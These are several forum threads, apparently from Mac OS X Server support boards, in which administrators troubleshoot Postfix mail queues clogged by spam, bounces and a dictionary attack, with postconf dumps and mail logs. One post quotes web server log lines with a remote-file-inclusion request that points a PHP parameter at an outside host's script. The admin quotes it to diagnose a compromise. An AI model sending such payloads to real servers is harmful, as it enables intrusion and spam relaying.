Mail Queue question

I can't seem to get the mail queue to show the email that the server recived
I changed the mail store location to another hard drive on the same server.
and I moved data base location to the same hard drive as the mail store.
Does that have any effect on the Mail Queue?
when is the mail queue supose to show mail? (incoming, out going, or both?)
the server sends and recives mail fine so i am sure it is something small but I dont know what
thanks in advance to anyone that can help me

Unless you have a very busy mail server, you probably will not see anything. That queue window is not 'live' but merely refreshes itself every 15 seconds (IIRC) - keep hitting 'refresh' and you should pick up something. If everything is working normally then mail actually spends very little time in a 'queue' as it passes from one process to another. Normally, you might just see deferred delivery mail there.
-david
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smtp_tls_enforce_peername = yes
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smtp_tls_note_starttls_offer = no
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smtp_use_tls = no
smtp_xforward_timeout = 300s
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smtpd_helo_required = no
smtpd_helo_restrictions =
smtpd_history_flush_threshold = 100
smtpd_junk_command_limit = 100
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smtpd_null_access_lookup_key =
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smtpd_recipient_overshoot_limit = 1000
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tls_random_reseed_period = 3600s
tls_random_source =
trace_service_name = trace
transport_maps =
transport_retry_time = 60s
trigger_timeout = 10s
undisclosed_recipients_header = To: undisclosed-recipients:;
unknown_address_reject_code = 450
unknown_client_reject_code = 450
unknown_hostname_reject_code = 450
unknown_local_recipient_reject_code = 550
unknown_relay_recipient_reject_code = 550
unknown_virtual_alias_reject_code = 550
unknown_virtual_mailbox_reject_code = 550
unverified_recipient_reject_code = 450
unverified_sender_reject_code = 450
verp_delimiter_filter = -=+
virtual_alias_domains = $virtual_alias_maps
virtual_alias_expansion_limit = 1000
virtual_alias_maps = hash:/etc/postfix/virtual,hash:/var/mailman/data/virtual-mailman
virtual_alias_recursion_limit = 1000
virtual_destination_concurrency_limit = $default_destination_concurrency_limit
virtual_destination_recipient_limit = $default_destination_recipient_limit
virtual_gid_maps =
virtual_mailbox_base =
virtual_mailbox_domains = hash:/etc/postfix/virtual_domains
virtual_mailbox_limit = 51200000
virtual_mailbox_lock = fcntl
virtual_mailbox_maps =
virtual_minimum_uid = 100
virtual_transport = lmtp:unix:/Volumes/Mail/imap/socket/lmtp
virtual_uid_maps =

I do have a few Windows clients. They have up to date virus protection but they could very well be infected with some malware. I haven't had the chance to run SpyBot on them.
Sorry for the long postconf output.
I did requeue all the messages with postsuper -r. I also put them all on hold (postsuper -h) which allowed for new messages to be delivered as usual. Deleting the queue was not an option. I am pretty sure now that it was a spam dictionary attack. But I am still concerned that this would effectively bring the server down.
I looked into recipient restrictions but don't see any easy way to maintain an accurate list of my users. Is there a way to pull them from the LDAP directory? I guess I could do that with a perl script, shouldn't be too hard. Is there an easier way? Something built in?
Anyway the server is fine now. As I said I put all the messages on hold then slowly released them back into the active queue. Once the server was able to get over its hang up it chewed through the remaining messages ok. This still brought my server down pretty much the entire day. Not acceptable in most countries.
Any other ideas are welcome!
Thanks,
Josh
shorter postconf output:
alias_maps = hash:/etc/aliases,hash:/var/mailman/data/aliases
always_bcc =
bouncequeuelifetime = 4h
command_directory = /usr/sbin
config_directory = /etc/postfix
content_filter = smtp-amavis:[127.0.0.1]:10024
daemon_directory = /usr/libexec/postfix
debugpeerlevel = 2
defaultdestination_concurrencylimit = 6
defaultprocesslimit = 20
enableserveroptions = yes
inet_interfaces = all
initialdestinationconcurrency = 15
localrecipientmaps =
luser_relay = emailadmin
mail_owner = postfix
mailboxsizelimit = 0
mailbox_transport = cyrus
mailq_path = /usr/bin/mailq
manpage_directory = /usr/share/man
mapsrbldomains =
maximalbackofftime = 2700s
maximalqueuelifetime = 36h
messagesizelimit = 16777216
minimalbackofftime = 900s
mydestination = $myhostname,localhost.$mydomain,myDomain.com
mydomain_fallback = localhost
myhostname = thestranger.com
mynetworks = 127.0.0.1/32,10.0.0.0/24,10.0.8.0/24,10.0.1.0/24
mynetworks_style = host
newaliases_path = /usr/bin/newaliases
ownerrequestspecial = no
queue_directory = /private/var/spool/postfix
queuerundelay = 900s
readme_directory = /usr/share/doc/postfix
recipient_delimiter = +
relayhost =
sample_directory = /usr/share/doc/postfix/examples
sendmail_path = /usr/sbin/sendmail
setgid_group = postdrop
smtpconnecttimeout = 15s
smtphelotimeout = 30s
smtpdclientrestrictions = checkrecipientaccess hash:/etc/postfix/access, permitsaslauthenticated, permit_mynetworks, checksenderaccess hash:/etc/postfix/whiteList, rejectinvalidhostname, rejectnon_fqdnsender, rejectnon_fqdnrecipient, rejectrblclient dnsbl.njabl.org, rejectrblclient sbl-xbl.spamhaus.org, rejectrblclient bl.spamcop.net, rejectrblclient cbl.abuseat.org
smtpdenforcetls = no
smtpdpw_server_securityoptions = login,plain,cram-md5,gssapi
smtpdrecipientrestrictions = checkrecipientaccess hash:/etc/postfix/access, permit_mynetworks, permitsaslauthenticated, rejectinvalidhostname, rejectnon_fqdnsender, rejectnon_fqdnrecipient, rejectunknown_senderdomain, rejectunauthdestination, checksenderaccess hash:/etc/postfix/whiteList
smtpdsasl_authenable = yes
smtpdtls_certfile = /etc/certificates//myDomain.com.crt
smtpdtls_keyfile = /etc/certificates/myDomain.com.key
smtpdtlsloglevel = 2
smtpduse_pwserver = yes
smtpdusetls = yes
unknownlocal_recipient_rejectcode = 550
virtualaliasmaps = hash:/etc/postfix/virtual,hash:/var/mailman/data/virtual-mailman
virtualmailboxdomains = hash:/etc/postfix/virtual_domains
virtual_transport = lmtp:unix:/Volumes/Mail/imap/socket/lmtp

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I want to monitor unix mail queue using java. how can i proceed..
Please advice..
Thanks..
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Google and see if there is an API which lets you monitor it.
Kaj

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Aug 31 09:44:04 mail postfix/smtp[4177]: warning: valid_hostname: empty hostname
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Aug 31 09:44:05 mail postfix/smtp[3642]: warning: valid_hostname: empty hostname
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Aug 31 09:44:11 mail postfix/smtp[3699]: warning: malformed domain name in resource data of MX record for yaho.com:
Aug 31 09:44:13 mail postfix/smtp[3706]: warning: valid_hostname: empty hostname
Aug 31 09:44:13 mail postfix/smtp[3706]: warning: malformed domain name in resource data of MX record for yahho.com:
Aug 31 09:44:15 mail postfix/smtp[4167]: warning: valid_hostname: empty hostname
Aug 31 09:44:15 mail postfix/smtp[4167]: warning: malformed domain name in resource data of MX record for yhaoo.com:
Aug 31 09:44:15 mail postfix/smtp[4177]: warning: valid_hostname: empty hostname
Aug 31 09:44:15 mail postfix/smtp[4177]: warning: malformed domain name in resource data of MX record for yhoo.com:
Aug 31 09:44:21 mail postfix/smtp[3670]: warning: valid_hostname: empty hostname
Aug 31 09:44:21 mail postfix/smtp[3670]: warning: malformed domain name in resource data of MX record for ahoo.com:
Aug 31 09:44:21 mail postfix/smtp[3649]: warning: valid_hostname: empty hostname
Aug 31 09:44:21 mail postfix/smtp[3649]: warning: malformed domain name in resource data of MX record for yahho.com:
Aug 31 09:44:30 mail postfix/smtp[3669]: warning: valid_hostname: empty hostname
Aug 31 09:44:30 mail postfix/smtp[3669]: warning: malformed domain name in resource data of MX record for yahooo.com:
Aug 31 09:44:37 mail postfix/smtp[3669]: warning: valid_hostname: empty hostname
Aug 31 09:44:37 mail postfix/smtp[3669]: warning: malformed domain name in resource data of MX record for yaho.com:
Aug 31 09:44:38 mail postfix/smtp[3649]: warning: valid_hostname: empty hostname
Aug 31 09:44:38 mail postfix/smtp[3649]: warning: malformed domain name in resource data of MX record for yaho.com:
Aug 31 09:44:39 mail postfix/smtp[3701]: warning: valid_hostname: empty hostname
Aug 31 09:44:39 mail postfix/smtp[3701]: warning: malformed domain name in resource data of MX record for yaoo.com:
Aug 31 09:44:43 mail postfix/smtp[3646]: warning: valid_hostname: empty hostname
Aug 31 09:44:43 mail postfix/smtp[3646]: warning: malformed domain name in resource data of MX record for yhaoo.com:
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Aug 31 09:44:51 mail postfix/smtp[1804]: warning: malformed domain name in resource data of MX record for yahoon.net:
Aug 31 09:44:52 mail postfix/smtp[1826]: warning: valid_hostname: empty hostname
Aug 31 09:44:52 mail postfix/smtp[1826]: warning: malformed domain name in resource data of MX record for yaho.com:
Aug 31 09:44:53 mail postfix/smtp[3701]: warning: valid_hostname: empty hostname
Aug 31 09:44:53 mail postfix/smtp[3701]: warning: malformed domain name in resource data of MX record for yaho.com:
Aug 31 09:44:54 mail postfix/smtp[3701]: warning: valid_hostname: empty hostname
Aug 31 09:44:54 mail postfix/smtp[3701]: warning: malformed domain name in resource data of MX record for yhoo.com:
Aug 31 09:44:56 mail postfix/smtp[4201]: warning: valid_hostname: empty hostname
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Aug 31 09:44:56 mail postfix/smtp[4197]: warning: valid_hostname: empty hostname
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Aug 31 09:44:56 mail postfix/smtp[4196]: warning: valid_hostname: empty hostname
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Aug 31 09:44:59 mail postfix/smtp[3646]: warning: valid_hostname: empty hostname
Aug 31 09:44:59 mail postfix/smtp[3646]: warning: malformed domain name in resource data of MX record for yaoo.com:
Aug 31 09:45:00 mail postfix/smtp[4197]: warning: valid_hostname: empty hostname
Aug 31 09:45:00 mail postfix/smtp[4197]: warning: malformed domain name in resource data of MX record for yahho.com:
Aug 31 09:45:14 mail postfix/smtp[3690]: warning: valid_hostname: empty hostname
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Aug 31 09:45:16 mail postfix/smtp[3660]: warning: valid_hostname: empty hostname
Aug 31 09:45:16 mail postfix/smtp[3660]: warning: malformed domain name in resource data of MX record for yhoo.com:
Aug 31 09:45:17 mail postfix/smtp[3692]: warning: valid_hostname: empty hostname
Aug 31 09:45:17 mail postfix/smtp[3692]: warning: malformed domain name in resource data of MX record for yahho.com:
Aug 31 09:45:18 mail postfix/smtp[3645]: warning: valid_hostname: empty hostname
Aug 31 09:45:18 mail postfix/smtp[3645]: warning: malformed domain name in resource data of MX record for yhaoo.com:
Aug 31 09:45:20 mail postfix/smtp[4203]: warning: valid_hostname: empty hostname
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Aug 31 09:45:20 mail postfix/smtp[3649]: warning: valid_hostname: empty hostname
Aug 31 09:45:20 mail postfix/smtp[3649]: warning: malformed domain name in resource data of MX record for yhaoo.com:
Aug 31 09:45:24 mail postfix/smtp[3649]: warning: valid_hostname: empty hostname
Aug 31 09:45:24 mail postfix/smtp[3649]: warning: malformed domain name in resource data of MX record for yahool.com:
Aug 31 09:45:28 mail postfix/smtp[3649]: warning: valid_hostname: empty hostname
Aug 31 09:45:28 mail postfix/smtp[3649]: warning: malformed domain name in resource data of MX record for yhaoo.com:
Aug 31 09:45:28 mail postfix/smtp[3692]: warning: valid_hostname: empty hostname
Aug 31 09:45:28 mail postfix/smtp[3692]: warning: malformed domain name in resource data of MX record for yahooo.com:
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Hi All,
Over the weekend the mail queue in SA filled up. This morning some users where complaining about outgoing messages not being delivered. When I checked the mail queue it had about 500 messages in it. All of them looked liked spam. When I deleted them, outgoing messages started being delivered.
I have no idea why that would happen. Could it mean a hacked machine on the network? I've turned off all of my window's machines overnight to see what happens.
here is my config file.
mail:~ warnersmith$ postconf -n
alias_maps = hash:/etc/aliases,hash:/var/mailman/data/aliases
command_directory = /usr/sbin
config_directory = /etc/postfix
content_filter = smtp-amavis:[127.0.0.1]:10024
daemon_directory = /usr/libexec/postfix
debugpeerlevel = 2
enableserveroptions = yes
html_directory = no
inet_interfaces = all
localrecipientmaps =
luser_relay = postofficebox
mail_owner = postfix
mailboxsizelimit = 0
mailbox_transport = cyrus
mailq_path = /usr/bin/mailq
manpage_directory = /usr/share/man
mapsrbldomains =
messagesizelimit = 20971520
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mynetworks_style = host
newaliases_path = /usr/bin/newaliases
ownerrequestspecial = no
queue_directory = /private/var/spool/postfix
readme_directory = /usr/share/doc/postfix
recipient_delimiter = +
relayhost = mail.chrl.twtelecom.net
sample_directory = /usr/share/doc/postfix/examples
sendmail_path = /usr/sbin/sendmail
setgid_group = postdrop
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smtpdpw_server_securityoptions = gssapi,cram-md5,login
smtpdrecipientrestrictions = permitsasl_authenticated,permit_mynetworks,reject_unauthdestination,permit
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smtpdtls_keyfile = $smtpdtls_certfile
smtpduse_pwserver = yes
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Thanks Jeff. I think the code injection maybe it. I have the server set to relay all outgoing messages to our ISP's mail server. When I look at the messages in the mail queue, all of them seem to be bounce backs from the ISP (domain name does not exist.)
When I look at the mail log for one the messages with the ID of 39E33163839, I see:
Oct 10 13:20:11 mail postfix/smtpd[1697]: connect from unknown[10.0.0.45]
Oct 10 13:20:11 mail postfix/smtpd[1697]: 5EB9115C71D: client=unknown[10.0.0.45]
Oct 10 13:20:11 mail postfix/cleanup[1698]: 5EB9115C71D: message-id=<[email protected]>
Oct 10 13:20:11 mail postfix/qmgr[4726]: 5EB9115C71D: from=<[email protected]>, size=1904, nrcpt=1 (queue active)
Oct 10 20:11:02 mail postfix/qmgr[4726]: C6C32162E2F: from=, size=28300, nrcpt=1 (queue active)
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Oct 10 20:11:03 mail postfix/smtp[13214]: C6C32162E2F: to=<[email protected]>, relay=relay.mail.twtelecom.net[216.54.204.190], delay=3698, status=deferred (host relay.mail.twtelecom.net[216.54.204.190] said: 450 <[email protected]>: Recipient address rejected: Domain not found (in reply to RCPT TO command))
Oct 10 20:11:49 mail postfix/smtpd[13189]: connect from c-24-147-6-229.hsd1.ma.comcast.net[24.147.6.229]
Oct 10 20:11:50 mail postfix/smtpd[13189]: 37C60163818: client=c-24-147-6-229.hsd1.ma.comcast.net[24.147.6.229]
Oct 10 20:11:50 mail postfix/cleanup[13178]: 37C60163818: message-id=<000001c6ecc9$d4d5c980$0100007f@Alicia>
Oct 10 20:11:51 mail postfix/qmgr[4726]: 37C60163818: from=<[email protected]>, size=26446, nrcpt=1 (queue active)
Oct 10 20:11:51 mail postfix/smtpd[13189]: disconnect from c-24-147-6-229.hsd1.ma.comcast.net[24.147.6.229]
Oct 10 20:11:55 mail postfix/smtpd[13182]: connect from localhost[127.0.0.1]
Oct 10 20:11:56 mail postfix/smtpd[13182]: F29EA163837: client=localhost[127.0.0.1]
Oct 10 20:11:56 mail postfix/cleanup[13178]: F29EA163837: message-id=<000001c6ecc9$d4d5c980$0100007f@Alicia>
Oct 10 20:11:56 mail postfix/smtpd[13182]: disconnect from localhost[127.0.0.1]
Oct 10 20:11:56 mail postfix/qmgr[4726]: F29EA163837: from=<[email protected]>, size=27040, nrcpt=1 (queue active)
Oct 10 20:11:56 mail postfix/smtp[13179]: 37C60163818: to=<[email protected]>, relay=127.0.0.1[127.0.0.1], delay=6, status=bounced (host 127.0.0.1[127.0.0.1] said: 550 5.7.1 Message content rejected, UBE, id=13135-02 (in reply to end of DATA command))
Oct 10 20:11:56 mail postfix/cleanup[13178]: 39E33163839: message-id=<[email protected]>
Oct 10 20:11:56 mail postfix/qmgr[4726]: 39E33163839: from=, size=28311, nrcpt=1 (queue active)
Oct 10 20:11:56 mail postfix/qmgr[4726]: 37C60163818: removed
Oct 10 20:11:56 mail postfix/pipe[13184]: F29EA163837: to=<[email protected]>, relay=cyrus, delay=1, status=sent (sk.com)
Oct 10 20:11:56 mail postfix/qmgr[4726]: F29EA163837: removed
Oct 10 20:11:56 mail postfix/smtp[13214]: 39E33163839: host relay.mail.twtelecom.net[216.54.204.190] said: 450 <[email protected]>: Recipient address rejected: Domain not found (in reply to RCPT TO command)
Oct 10 20:11:56 mail postfix/smtp[13214]: 39E33163839: to=<[email protected]>, relay=relay.mail.twtelecom.net[216.136.95.10], delay=0, status=deferred (host relay.mail.twtelecom.net[216.136.95.10] said: 450 <[email protected]>: Recipient address rejected: Domain not found (in reply to RCPT TO command))
When I look at the HTTPD logs for that same minute, I see:
69.231.131.52 - - [10/Oct/2006:14:20:11 -0400] "GET /pages/facility_02.html HTTP/1.1" 200 12193
216.120.232.145 - - [10/Oct/2006:20:11:09 -0400] "GET //components/comsitemap/sitemap.xml.php?mosConfig_absolutepath=http://71.132.219.9/omg/remote.txt? HTTP/1.1" 404 -
194.52.202.141 - - [10/Oct/2006:20:11:36 -0400] "GET //components/comsitemap/sitemap.xml.php?mosConfig_absolutepath=http://71.132.219.9/omg/remote.txt? HTTP/1.1" 404 -
68.71.20.37 - - [11/Oct/2006:10:20:11 -0400] "GET /images/leisure_image.3.jpg HTTP/1.1" 200 5338
68.71.20.37 - - [11/Oct/2006:10:20:11 -0400] "GET /images/leisure_image.4.jpg HTTP/1.1" 200 6872
68.71.20.37 - - [11/Oct/2006:10:20:11 -0400] "GET /images/leisure_image.5.jpg HTTP/1.1" 200 3360
The line "//components/comsitemap/sitemap.xml.php?mosConfig_absolutepath=http://71.132.219.9/omg/remote.txt? HTTP/1.1" 404 -" seem to be that code injection. We don't have a file named sitemap.xml.php on our website.
Am I correct that this is a code injection?
I have three site running on this server. One is a plain old static site for the company it does not use PHP. One is webmail that came with OS X. The final one is an file storage site that does use PHP. It's a commercial code called Copper Project. I've turned off the site overnight to see if this still happens.
The link in in Jeff's post seems to suggest a simple fix. However, I know nothing about PHP programing, so this is beyond me.
Thanks
Henry
MacBook Pro 2.0 GHz 1 GB RAM Mac OS X (10.4.6)

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About 2 hours ago we stopped getting any email from our server. The mail queue is filling up. If I click on one of the messages in queue, it gives me a message of "delivery temporarily suspended: connect to 127.0.0.1[127.0.0.1]: connection refused".
What happened????
Thanks,
Robert

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Maybe something is wrong with my org.amavis.amavisd.plist? Here is it:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>org.amavis.amavisd</string>
<key>OnDemand</key>
<false/>
<key>Program</key>
<string>/usr/bin/amavisd</string>
<key>ProgramArguments</key>
<array>
<string>amavisd</string>
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<key>ServiceIPC</key>
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<key>UserName</key>
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</dict>
</plist>

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I think i have my web and e-mail server running fine, all mail from the users is coming and going as should. But I have to delete the mail queue every two days or so because it is filling up with junk mail to unknown senders and users. I think everting is setup correct and I do not have an open relay, but is there some way I can have it delete the junk mail in this queue by itself?

Most likely you have postfix configured to accept any mail. Being for known or unknown users. Thus, mail for unknown users (mostly spam) gets only bounced at a later stage (cyrus/IMAP), which in turn creates those pesky Mailer-Daemon messages in your queue.
Being spam, there is usually no proper return address, so those messages stay in your queue, until they expire after 5 days (default value).
See my tutorial on how to improve Postfix' configuration here: http://osx.topicdesk.com/content/view/38/62/

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Hi we have been bombarded with shed loads of junk causing the mail queue to swell and slow down considerably almost to a halt. I have now created the junkmail account and the notjunkmail accounts and now trying to teach the server to sort itself out.
However in the queue we have MADEUP [email protected] and Im deleting these manually as i cant mark these as junkmail. Will the server once taught, be able to distinguish between the real users and the made up ones?
Also is what is in the queue is this after the filtering or what will be filtered?
Thanks Hope this makes sense.
Oh and if any one knows any great bolt on gui spam filters for mac server 10.4 id appreciate your advice... Thanks

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Example vacation email script, forwarding and junk-mail processing are included in the Command Line manual.
Some URLs...
http://www.ietf.org/rfc/rfc3028.txt
http://nfs-uxsup.csx.cam.ac.uk/~fanf2/hermes/doc/sieve/
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http://www.stepwise.com/Articles/Workbench/eart.index.html
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